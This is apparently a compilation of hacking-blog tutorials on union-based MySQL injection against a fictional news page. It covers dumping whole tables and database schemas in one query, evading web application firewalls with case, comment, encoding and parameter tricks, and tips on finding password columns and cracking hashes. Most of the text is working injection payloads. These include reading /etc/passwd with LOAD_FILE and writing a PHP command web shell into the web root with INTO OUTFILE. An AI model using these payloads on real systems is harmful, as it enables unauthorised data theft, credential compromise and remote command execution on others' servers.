One SQLi to rule them all

Advanced SQL injection

In State of the Union I cover basic union based MySQL injection techniques which have some limitations, in this post I'll cover some more advanced techniques that allow you to select entire tables and how that can be used to map out all the schemas, tables and columns in a single query.

Introduction to variables

More advanced MySQL injection makes use of user assigned variables, the documentation for assigning MySQL variables can be found here.

You may have already used system defined variables such as the MySQL server version which is referenced with @@version, in a similar way user defined variables are referenced with a single @ and then the name you wish to give it.

In a SET statement the syntax for assigning a user variable is:

SET @var_name = expr [, @var_name = expr] ...

However if you wish to use variables outside of a SET statement, such as when we inject inside of an existing SELECT statement, then you assign a variable using

@var_name := expr

The reason you cannot use regular = is because this is treated as a comparison operator outside of SET statements. It's worth noting at this stage that you don't need to provide a variable name other than just @ by itself, so @:=1234 is valid.

Limitations of concat() and group_concat()

Typically when first learning SQLi you'll start by using UNION to append some data you want to the data that's legitimately used to populate the web page, then you set the condition for pulling the legitimate data to return zero results and what appears in the page is simply whatever you've appended. The basic way of selecting data is shown below, this example is taken from my blog post called State of the Union, note that everything in green is static and everything in red is user supplied input.

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

This example is selecting a list of schemas from the table "information_schema.schemata", because the result is returned to a single column of a larger result set it has to be a single string, this is the purpose of group_concat().

A problem that you might run into is concat and group_concat have a server defined maximum length and the default is 1024 characters, this limits the amount of data you can get from any single query using this method. You could potentially select one row of data at a time by swapping group_concat() for concat() and then setting a LIMIT to pick the row you want to select, but this is tedious.

Selecting an entire table in one query

The following select statement is a template for selecting the columns you want from a specific table, you simply replace TABLE with the schema.table you want to select from and COLUMNS with a list of comma separated column names, plus whatever formatting you want to make the output easily readable.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

This looks a bit intimidating at first, so let's break this down into smaller parts and look at what each part means and why it's used. Keep in mind that SQL is interpreted by the server from the inner most sub-selects first, so to understand this we'll follow the same method. Let's start with the highlighted section first.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

The section in orange is evaluated first, it simply assigns the user variable called @ the value 0x00 which is the hex representation of ASCII NULL, note this is not the same value as DB NULL which represents a field in the database has no value. The purpose of this is to make sure this variable is empty as it may contain data from being used previously, the MySQL server retains user assigned variables between queries, it's not strictly required the first time you use it.

Next the section in blue is evaluated.

(select (@) from (select (@:=0x00),(select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))))x)

Or isolated by itself:

select (@) from TABLE where (@) in (@:=concat(@,0x0a,COLUMNS))

Lets look at the select part first, this statement can be simplified by ignoring the condition at the end for now and consider what value is actually being selected.

SELECT 'somestring' from TABLE WHERE [some condition]

The behaviour of MySQL when selecting a string or in this case a variable from a table, rather than a specific column or columns, is to simply return the string. This is a helpful trick I use in a blog post called SELECT tips,tricks FROM help INTO OUTFILE 'user@localhost' where this same method can be used to select arbitrary data into OUTFILE and write the result to the local file system. So for example:

SELECT 'Hello World!' FROM news

The result of this query is just literally just the string 'Hello World!', as long as the table "news" actually exists. This means you can think of the result of the entire part of the query in blue to simply be the variable @

Let's stop to consider what our query now looks like when we simplify it

(select (@) from (select NULL,@)x)

But what value does @ actually have? This is where the conditional clause comes in, lets now consider the end of the blue sub-select, we'll replace the table and columns with fictional examples.

select (@) from news where (@) in (@:=concat(@,0x0a,id,0x3a,headline,0x3a,body))

Here a clever trick is being used, when the whole statement is run at this point all that has occurred is @ has been set to NULL, and we're now setting the value of @ to be the concat() of itself, a new line character then the columns called id,headline,body from the first row of the table news, all separated by 0x3a which is the hex value for ":" just to make the results easier to read.

The WHERE/IN clause is forcing MySQL to evaluate every row of the table called news one row at a time re-assigning the variable @ every single row, because @ is inside the concat() function the value of the next row is appended onto the value of the last, this loop repeats until every row has been read.

We need this trick because there is no append operator in MySQL there is only assignment ":=", if you're used to programming you might find it helpful to consider this as equivelent to using the assignment operator "+=" that most languages support, where a+=b is the same as a=a+b. If you left out the variable @ from inside the concat() function then you'd simply be reassigning @ each row losing the previous value each time, the final value would simply be the last row in the table which isn't what we want.

Now we know what @ finally equals, that is all the rows of the table we've selected from, let's reconsider our simplified query:

(select (@) from (select NULL,@)x)

We're selecting the @ variable which is just one large string containing the entire table, as we've learnt before this select simply returns the value of the string. It's being selected from a temporary table we've created by selecting NULL and @ from elsewhere, the x on the end is an alias for this table, every temporary table created requires an alias otherwise you'll get the error "every derived table must have its own alias".

All that is left to do is use this entire select statement as a replacement for one of the columns of our UNION. Here's a fictional example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,(select (@) from (select (@:=0x00),(select (@) from users where (@) in (@:=concat(@,0x0a,id,0x3a,username,0x3a,passwd))))x),3,4--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,(select (@) from (select (@:=0x00),(select (@) from users where (@) in (@:=concat(@,0x0a,id,0x3a,username,0x3a,passwd))))x),3,4--

The result of this will be a single string inserted into the web page instead of column 2 (the headline), which contains the "id", "username" and "passwd" columns from every row of the "users" table, it will be formatted so each row from the table is on a new line and columns are separated by colons.

Selecting all schemas, tables and columns in one query

We can use this technique to essentially map out the entire database in a single query also known as DIOS (Dump In One Shot), we simply use the same technique but read the meta data about the database from the schema called "information_schema" and the table called "columns". This table contains every column name in the database, what table it belongs to and what schema that table belongs to. Our modified query looks like this:

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x)

You'll note that I've added some conditions, this is to exclude all rows which contain the table_schema called "information_schema", or rather the hex encoded equivalent. The information_schema contains meta data on all schemas including itself and because the information_schema is a fixed format and it's already well documented we don't need to select that, it will just inflate the result to be much bigger than we need, we're only generally interested in custom user created tables.

Our example now becomes:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x),3,4--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_schema,0x3a,table_name,0x3a,column_name))))x),3,4--

The result of which will be one long string where each line contains the fields schema name, table name and column name for every column in the database, each separated by colons and each on a new line.

If you have a question please leave a comment and I'll get back to you, please note that any questions referencing real websites with live SQL injection vulnerabilities will be deleted.

WAF beating.

Grab yourself a Stella it's time for some WAF beating.

This tutorial will cover WAF bypassing for SQLi, this is an in-depth tutorial designed to teach theory rather than giving you the smallest number of steps to bypass WAFs.

Introduction

Web Application Firewalls are systems which proxy web traffic from users of web services to the web server and check for malicious attacks such as SQLi and XSS. Sometimes these are separate physical devices which sit between a web server and the gateway or they might be software based and run on the web server.

It's the job of the WAF to detect attacks and then take some action, it might be to alter web requests before they reach the web server to remove malicious code, to bounce or deny the request all together or possibly track malicious activity and alert staff.

Most WAFs aren't perfect, they operate primarily on blacklists and rules in order to spot malicious user input, however standards are constantly changing and WAFs have to be kept up to date with the latest rules and patterns to be effective.

Obfuscation of input is the standard method for beating WAFs, you take what looks like an SQLi or XSS attack and you modify the request so it no longer matches the patterns the WAF knows about, you can often do this through encoding parts of the input differently or using various tricks of the trade to fool the filters. It's game of cat and mouse between developers and hackers.

Spotting WAF implementation

Spotting WAFs is normally quite easy, their behaviour tends to be one of two things, either modify the query so what is sent to the server is missing malicious user input, the basic approach would be to remove certain keywords such as UNION, SELECT, CONCAT etc, if you find your requests being modified and returned without these words you've found a WAF which is removing them. The second method is to throw up either a 403 error page (Forbidden) or throw up some other custom error page with any number of custom error messages. You can tell if this is a WAF by re-sending the same query but removing keywords one at a time, if you've removed some keywords and the page renders correctly afterwards then you know you're dealing with some kind of WAF.

Enumerate illegal keywords

The first thing you should do is work out which keyword are tripping up the WAF, start with basic user input you know is allowed past the WAF and mark this as your baseline test. Now you need to add keywords into that baseline and test to see if the WAF reacts. Do this one keyword at a time and make a note of what is and isn't allowed, in the case of SQLi it's best to try all of the common SQL keywords, some common ones are listed below but this is not exhaustive:

• SQL Commands
• SELECT
• UPDATE
• DELETE
• JOIN
• UNION
• WHERE
• ORDER
• SQL Functions
• concat()
• group_concat()
• hex()
• cast()

Apply some trial and error and get a feel for what is allowed and what is not.

0bfu5cAt1on

Obfuscation is the last step, modify problematic keywords bypass the filters, let's start with a fictional example of a basic MySQL injection attack taken from a prior post called State of the Union, this attack is simply enumerating all of the schemas that exist in the database by reading the information_schema.schemata table:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

Let's assume that our fictional WAF doesn't allow the key words "union", "select" or "schema_name".

Let's start with the basic attacks and increase in complexity, it's unlikely the simple obfuscations will work on their own but they may be helpful to merge with other types of obfuscations.

CaSe seNsitIvity

Probably the most basic attack, simply alter the case of some of the characters for example

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UniOn SeLEcT 1,group_concat(schema_name),3,4 from information_schema.schemata --

Be careful that you're not modifying the case of something that is case sensitive in the context of SQL, certain versions of SQL on certain systems might have case sensitive table names for example.

/*Comments*/

Comments are ignored by the SQL server and are a good source of obfuscation as they can be tricky to resolve correctly. The basic syntax of a comment is /* to start and comment and */ to end it, everything in between is ignored.

You can use this to break up words so that basic string comparisons fail For example:

S/**/E/**/L/**/E/**/C/**/T

There are lots of variants on this attack, you can put dummy letters inside the comments for example:

S/*A*/E/**/L/*L*/E/**/C/*X*/T

You can also nest comments, for example:

SEL/*TE/*TEST*/ST*/ECT

As well as throwing in broken comment tags, for example:

S/*/E/**/L*/EC/**/*/T 

/*!Advanced Comments*/

There's more advanced tricks you can play with comments specifically on MySQL servers, they support conditional comments where adding an exclamation mark before your text inside of a comment you tell MySQL to actually use the text inside the comment as it would normally, the following example would execute and return you the schemas as normal:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

You can obfuscate this further by adding in the version number of MySQL you wish to conditionally check for, the server will execute the comment as normal syntax if its version is equal or greater than the value you supply, the following example will execute only if the server is equal or greater than version 5.00.00

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 /*!50000 UNION*/ /*!50000 SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

The full documentation on comments can be found here:

Encoding

MySQL supports many different types of encoding such as hex, binary, base64, as well as encryption types such as Md5 and SHA1, while keywords cannot be altered with this method a lot of other values can be, such as schema names, table names and values for comparison.

For example if schema_name is blacklisted you could hex encode using a free tool making sure to add 0x to the start of the value, this means schema_name becomes 0x736368656d615f6e616d65, or you could use the base64 equivalent and then base64 decode it inside the query, for example FROM_BASE64(c2NoZW1hX25hbWU=)

MySQL now also supports XML functions so you can use functions like extractvalue() in similar ways.

White list evasion

When white listing is enabled WAFs can be very hard to bypass, if an admin configures bespoke white list rules and applies them to specific parameters it could be impossible to obfuscate the input. In our example we're passing a news_id parameter which is expected to only contain numeric data, if a custom a rule is created to white list numeric data only then injection is impossible.

However custom rules are usually applied to specific parameters, they're stored by the WAF with several properties, a reference to specific paths, the parameter name and a regex rule for what the parameter is allowed to contain. This gives us 2 new attack vectors by obfuscating both the path and the parameter name, if you malform the request in such a way the web server can understand or correct, but the WAF cannot, then you can evade triggering the white list rule to begin with.

Path evasion

In this case the added /notvalid doesn't exist on the server and the web server may process /news/index.php as normal. This depends on your web server and it's version.

URL

http://frostyhacks.blogspot.com/news/index.php/notvalid?news_id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata -- 

You can manipulate paths to break basic string compares by hopping into directories and then back again for example:

URL

http://frostyhacks.blogspot.com/news/../news/index.php?news_id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

This trick references the news folder, then jumps back a directory and then references the news folder again a second time.

Parameter evasion

Obfuscation of the parameter name may also work so instead of news_id we might use this:

URL

http://frostyhacks.blogspot.com/news/index.php?nEeWs_iD=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

Or you could supply the same parameters multiple times, in PHP only the last occurrence is used.

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51&news_id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

PHP also does a certain amount of cleaning of parameter names, it remove preceding spaces, and converts spaces and periods in the parameter name to underscores, if the parameter name genuinely does contain an underscore such as news_id then this is another good parameter obfuscation, for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news.id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

If you're dealing with an ASP based server it will remove any URL encoding which is invalid, normally a URL encoded character would be a % followed by 2 hex digits, another method for obfuscating the parameter itself, for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news%id=-51 /*!UNION*/ /*!SELECT*/ 1,group_concat(schema_name),3,4 from information_schema.schemata --

Advanced attacks

Many of the attacks above wont work simply on their own, however combining them together in new an innovative ways can help beat a WAF that can otherwise detect the individual obfuscations, part of being a good hacker is experimenting and persisting.

If you're having trouble bypassing a WAF you could fingerprint the specific type of WAF by looking at behaviour and analyzing error responses, sometimes custom errors will contain the WAF name or hint at version number.

Once you know what you're dealing with check to see if the blacklist rules are publicly available, many of the free WAFs that are commonly in use such as Mod_Security are open source so you can study the blacklist rules directly, look for exceptions and edge cases which you might not otherwise try and be more methodical in your testing.

Lastly you can use applications to help you with attacks such as SQLmap and obfuscaters such as https://hackvertor.co.uk/.

SELECT tips,tricks FROM help INTO OUTFILE 'user@localhost'

Some useful tips & tricks while performing SQL injection.

These are a collection of helpful SQLi tips and tricks that might make your life easier when performing SQL injection attacks testing.

Avoid the concat 1024 character limit

In MySQL the group_concat() function has a server imposed limit, the default is 1024 characters. You may run into this limit when enumerating table and column names and certainly when extracting data. Consider the following fictional example taken from State of the Union:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

The result in this case is a list of table names selected from the information_schema, if this list exceeds the group_concat limit it will become truncated on the web page. A simple way to avoid this limit is to select one row at a time, switch the group_concat() for concat() and set a LIMIT at the end, remember that limit is zero indexed so 0 is the first record and 1 is the 2nd and so on. The following example selects the 10th row.

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog LIMIT 9,1--

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog LIMIT 9,1--

There is a method for selecting an entire table in a single query which I will cover in another blog post covering advanced SQLi techniques.

Illegal mix of collations for operation 'UNION'

You may receive this error when you try and union the original SQL statement with your own data from another table or schema and perform operations like concat() or group_concat(). Collations are rules regarding character sets and how to do operations on them such as order them or compare them you can read more here. When tables store data with different character sets and collations and you try and union these together you will generate this error.

To get around this limitation a simple fix is to run the data you extract through a function which returns a result using the same character set and collation, there are several to pick from hex(), compress(),aes_encrypt(). To make sure you get the result out as plain text you simply run the inverse function on the result for example:

group_concat(unhex(hex(data)))

group_concat(uncompress(compress(data)))

group_concat(aes_decrypt(aes_encrypt(data)))

You can also cast or convert the results, you can find the syntax and read more about this in the MySQL documentation.

Find sensitive data quickly

You may want to search quickly for specific data such tables or columns with the name"password" or "admin" in them. Instead of enumerating the entire database and searching through the results you can search the information_schema in a single query to find such columns and which tables they belong to. A fictional example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column_name,0x3a,table_name,0x0a),3,4 from information_schema.columns WHERE column_name like '%pass%' OR column_name like '%admin%'--

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(column_name,0x3a,table_name,0x0a),3,4 from information_schema.columns WHERE column_name like '%pass%' OR column_name like '%admin%'--

This will give you a list of results of columns that contain the string "pass" or the string "admin"

Encrypted passwords

In most cases passwords aren't stored in plain text, rather the MD5 is calculated and stored, this is to stop database admins and hackers from easily reading passwords of users or customers. There are many different type of hashes and they are easy to spot, they tend to be a fixed length and random, they may also use a limited character set or have certain static parts such as $P$B at the start, these are different encryption schemes used in newer versions of WordPress and Drupal.

Decrypting MD5 passwords traditionally requires a brute force attempt, you can look at doing this yourself using fast computers and applications like oclHashcat, however there are lots of on line resources that will check hashes for you against a large database of pre-cracked common passwords, the largest of which is Hashkiller.

Base64 encoding

If you come across strange encoding inside fields but the content is variable length (indicating it's not a hash) and tends to end in an = or == then you're looking at Base64 encoded data, the equals or double equals at the end is a dead give away, if the base 64 string length isn't divisible by 3 then the string is padded with either = or ==.

As of MySQL version 5.6.1 you can base64 decode on the server before pulling out the results simply use the FROM_BASE64() function, you can read more about that in the official documentation. If you want to determine the version of the database remember you can select the system variable @@version.

Read from the file system

You can read files directly from the file system with MySQL, only out of directories that the user MySQL is running as is allowed to access, this can be done with the LOAD_FILE() function, you can find the official documentation here:

For example if you wanted to read the Linux password file you'd SELECT LOAD_FILE(‘/etc/passwd’) 

Write to the file system

You can also write to the file system by selecting queries INTO OUTFILE, the documentation can be found here: There are some limitations, your MySQL account you're connected to the database with must have file write privileges and you can only write to system folders which the account the MySQL service runs as has access to

Another trick you can use with MySQL is selecting a column name that is simply a string, the result of this kind of query will simply be the string you used as the column name. For example:

SELECT 'some arbitrary string' FROM SomeRealTable

The output will simply be "some arbitrary string".

A typical use for this is to combine this kind of select with the INTO OUTFILE feature and write some PHP script into a .php file in the web root allowing you to pass commands back to the OS via a web page. Inside of a UNION based SQLi attack it might look something like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT NULL,"<? system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/mywebsiteroot/shell.php' --

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT NULL,'<? system($_GET['cmd']); ?>',NULL,NULL INTO OUTFILE '/var/www/mywebsiteroot/shell.php' --

You'll want to set the other columns to NULL so your final file is only contains what you've selected, make sure the first part of the query before the union is not selecting data by setting the where clause to something that doesn't exist, in this case simply setting the id to be a minus does the trick.

Any questions please leave a comment, if you have any suggestions for tips and tricks to expand this post then please comment and I'll give you credit as the source

State of the Union

An in-depth tutorial on union based MySQL injection attacks.

This tutorial will be more in depth than most SQLi tutorials, it is aimed at those who wish to grasp a good understanding of the theory and why certain methods are used, rather than just giving you the smallest number of steps required to start injecting. The information is intended for education purposes only.

Introduction

Structured Query Language Injection or SQLi for short, is an attack vector which allows an adversary to modify the data access layer of an application, abuse of this vulnerability allows attackers to read the database and in some cases write arbitrary data to the database or even the file system. There are 3 basic types of SQL injection attacks, error based, blind and union, this tutorial will focus on union based attacks, specifically on websites that interact with a MySQL database.

Before starting this tutorial it will be helpful to know at least basic SQL, good hackers understand how systems are used correctly before gaining a deeper understanding of how to break them and find vulnerabilities. If you're completely new to SQL I'd recommend installing MySQL and making a database to test with, follow some tutorials on basic SQL queries until you're comfortable with the basics. MySQL is free and can be downloaded here. There is a near infinite number of resources online to teach you basic MySQL the official reference manual and tutorials are here.

SQL is used in web development to allow for dynamic content, web pages can contain static elements that act as a kind of template and these are filled dynamically with content based on certain conditions. It's the job of the data access layer to build an SQL statement that is used to query the database and fetch the necessary content and insert that content into the static HTML page before delivering it to your browser.

Probably the oldest and most common example of this is a news page, when you click a news article link you're taken to a page that acts as a template for news stories, in the URL a parameter is passed back to the web server which tells the server the ID of the news story to select from the database. There are many other uses for page parameters but for this tutorial we'll focus on a fictional example based off a simple news page. This is an example of our fictional URL selecting a news story with an ID of 51 from the database.

http://frostyhacks.blogspot.com/news/index.php?news_id=51

The parameter name is "news_id" and the value is 51, there can be more than one page parameter in the URL separated by the ampersand character, when testing for SQLi vulnerabilities in the real world it's important to test all user input to the page which includes all of the page parameters. Not all websites will be vulnerable, you can only inject websites where the developers have implemented their SQL badly, in many cases SQL injection is impossible.

Our fictional news_id is received by the server and injected inside an SQL statement, the SQL used to query the database in our example could look something like this:

SELECT id, headline, news, author FROM news WHERE id = [Parameter]

This query selects the id, the news headline, the body of the news article and the name of the author from a table called "news" where the id of the news article in the database equals the parameter passed in the page. The various fields are then inserted into the correct place in the HTML template to build the final page before sending it back to the browser.

From now on the URL and SQL statements will be colour coded so that static parts are green and the user supplied content is red, this is just for clarity. For example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51

SQL

SELECT id, headline, news, author FROM news WHERE id = 51

The basic principle of  SQL injection is to modify the user supplied content such as the page parameters to extend and manipulate the SQL statement to function in a different way. One basic SQLi attack is to simply append OR 1=1 to the page parameter, this causes the final query to look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 OR 1=1

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 OR 1=1

The condition 1=1 always evaluates to TRUE, and because we've OR'd this with our original condition that the id = 51, this statement is always evaluated to true no matter what value of id you use. The means every news record will be selected from the database, instead of the originally intended individual record. By itself there isn't much use for this attack, but it demonstrates the principle by which the attack works so we can move on to more complex examples.

Vulnerable?

The first step in an SQL injection attack is to determine which page parameters (if any) are vulnerable, the quickest way to do this is to provide a parameter which will cause an SQL error, simply add an apostrophe into the page parameter, if you see an SQL error on the page you know the parameter can be injected, if the page renders as normal then you cannot inject that parameter.

String or integer?

SQL is a strongly typed language which means there's a distinction between data types, generally speaking you'll come across 2 types being used as page parameters, strings and integers. Integers are just whole numbers such as 51 and are written without any additional formatting. Strings can include many different characters and have to be wrapped in apostrophes, sometimes called a single quote, backtick or simply a tick. We've already seen what an SQL query looks like using integers, the following example uses a string to select articles by author name.

URL

http://frostyhacks.blogspot.com/news/index.php?author=[Parameter]

SQL

SELECT id, author FROM news WHERE author = '[Parameter]' 

The reason this is important is because user input taken as a string can only be injected if you first escape out of the string by including a tick, otherwise any data you inject will simply be considered part of the string. If we attempted to use Bob OR 1=1 we'd have the following statement:

URL

http://frostyhacks.blogspot.com/news/index.php?author=Bob OR 1=1

SQL

SELECT id, author FROM news WHERE author = 'Bob OR 1=1'

This isn't what we want, SQL is treating the whole input as one string because it's wrapped in apostrophes, so we provide one inside the parameter to escape the input, change the parameter to Bob' OR 1=1 and our query will now look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?author=Bob' OR 1=1

SQL

SELECT id, author FROM news WHERE author = 'Bob' OR 1=1'

This fixes escaping out of the string, however we have a new problem, we have an additional closing tick at the end of the statement, this will create an invalid SQL query and when queried will cause an SQL error. This is a specific case of a more general problem where you have some additional SQL after the injection point, it is common when doing SQL injection to be injecting into the middle of a statement rather than the end.

To fix this you can attempt to write a clever and complex input that neatly closes off the rest of statement but it's far quicker to comment out the rest of the query after your input, in MySQL you use a double hyphen -- to start a comment which tells the SQL database to ignore everything after. This alone is sufficient when commenting out of an integer input, however a comment after a string input requires --+. The reason the additional + is required is because of an ambiguity with MySQL, -- is used to start a comment but it can also be used as a math operator to decrement an integer. By adding a plus this is URL decoded into a space character and removes the ambiguity, MySQL then treats this operator as the start of a comment as intended. (Thanks to benzi for clarifying this!)

Our input now becomes Bob' OR 1=1 --+ and our final query looks like this:

URL
http://frostyhacks.blogspot.com/news/index.php?author=Bob' OR 1=1 --+

SQL

SELECT id, author FROM news WHERE author = 'Bob' OR 1=1 --+'

The second step in an SQL injection attack is to determine if the injection point you're testing is a string or an integer, if the website is creating URLs with letters in the page parameters these have to be strings, if the page only generate number you cannot immediately tell, it could be either and you'll have to test. Simply inject with or without a tick and see which throws an SQL error. If you inject 51 OR 1=1 -- and throw an error then they're treating inputs as a string, if it works then they're treating them as an integer.

Just to recap.

Injecting an integer requires no tick and a double hyphen, for example:
51 or 1=1 --

Injecting a string requires a tick to escape the string and a double hyphen and a plus, for example:
51' or 1=1 --+

It's worth noting that all following examples use integers and so do not require a tick, they also don't strictly require comments because there is no SQL after the injection point that will cause an error, however because this is almost never the case in the wild it's good to get used to seeing them in example. During testing there is no real harm in always using them, it's quicker and easier.

How many columns?

The next step is to determine how many columns are being selected from the database by the query we're injecting in to, eventually we'll want to UNION the legitimate data from the original query with our own custom data selected from another table, in order to append these 2 data sets together we need to ensure they have the same number of columns otherwise we'll throw an error.

To determine the number of columns we can expand the query to ORDER the result set by a certain column, MySQL allows you to identify the column you wish to order by using the number of that column. Consider the original query again:

SQL

SELECT id, headline, news, author FROM news WHERE id = 51

This query selects 4 columns, in a real attack we wouldn't be able to see the query in the code (unless part of the query is returned by errors) and so we'd be blind to the number of columns it selects, in some cases queries may select * from a table which means all columns and so even if the query is shown inside an SQL error we'd still not know the number of columns.

If we inject 51 ORDER BY 1 -- like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 ORDER BY 1 --

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 ORDER BY 1 --

The SQL server will order the results by "id" and return the ordered results. If you increase that to 51 ORDER BY 2 -- it will order by "headline", and so on. Eventually you'll reach 51 ORDER BY 5 --, you're now trying to order by a column that doesn't exist in the result set and SQL will throw an error. You can now infer that the data set has 4 columns, 1 column less than the number which caused the error.

Note that if you keep increasing your number of columns and there appears to be no sensible number that creates an error, you have probably incorrectly identified if the page parameter is a string or an integer, you need to double check if you need a tick or not.

UNION SELECT

We're now ready to union the data from the original query with our own. To start with we simply union select with a row of numbers which is equal in length to the number of columns we've previously determined. If we keep with our original example we need to inject 51 UNION SELECT 1,2,3,4 -- this will make our query look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 UNION SELECT 1,2,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 UNION SELECT 1,2,3,4 --

This appends our row of data (1,2,3,4) on to the results, in many cases this will not show visibly on the website. Some web pages are designed to only use 1 row from the data set, if the data set contains multiple rows it will simply use the first. In this case our appended data would be ignored. Sometimes pages are designed to loop through all rows and display each in turn, in which case you'll see some of the numbers in our row of data actually appear on the web page somewhere, this could be as text or they could be used as part of the HTML markup, if you cannot see any of the numbers 1,2,3,4 on the page it's always worth checking the source code.

In our example only the first row is used, we can fix this problem and make our appended data be the first result by forcing the original part of the query returns 0 rows, we do this by making the criteria in the WHERE clause impossible to be met, usually the simplest way is to add a minus character for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,2,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,2,3,4 --

Now instead of seeing normal data on the page such as a news headline, an author and the body of the article, you'll see some of the numbers from our row of data. This allows you to determine which columns in the select statement are being inserted somewhere in the HTML, only these can be used to extract data. In this fictional example you'd see "2" in place of the headline, "3" in place of the news story and "4" in place of the author, however you wouldn't see 1 anywhere, id was selected from the database but never displayed on the page, this means we can use column 2, 3 or 4 to query data.

Finally we can start selecting real data from the database, let's do a test and select the version number of the database to know what we're dealing with, this is helpful information as we can research what features the server supports and make sure we don't issue any SQL queries that it cannot understand. To do this simply replace one of the injectable columns with the system variable @@version, lets pick column 2: 

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,@@version,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,@@version,3,4 --

Instead of a headline on the page you'll have the version number of the SQL database!

Enumerating schemas

Before we can select data from the database we need to know the structure, what schemas are available, the name of the tables they contain and the name of the columns in the tables, the logical place to start is top down starting with is the schemas.

As of version 5 of MySQL they have included a hidden schema called "information_schema", this schema contains all the meta data about the rest of the database and is maintained by the MySQL server, it has a fixed structure which means we already know what tables to query. You can find more about the information_schema structure here.

In order to find what other schemas are on the server and their names we read from a table called "schemata" and a column called "schema_name", keeping with our original query we expand our union select by setting our page parameter to:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

Let's break down what this means, we're again replacing column 2 but this time with a concatenation of all the rows in the table, selecting only the column "schema_name". Remember that we have to concatenate the many results it could return into a single string because we're selecting data into a single column of a larger set of results, this saves us from having to query one row at a time.

Note that we're selecting from the table "schemata" from inside the schema called "information_schema", we cannot just reference the table by name alone unless the schema we're selecting from is set as the default schema, the information_schema is never set as the default so we have to use the format schema.table

If you've done this correctly, you'll get a comma separated list of all the schemas on the server, including the default information_schema, make a list of these they're important. If you wish to know which of these schemas is the default schema simply select database() for example:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,database(),3,4 --
SQL

SELECT id, headline, news, author FROM news WHERE id = -51 
UNION SELECT 1,database(),3,4 --

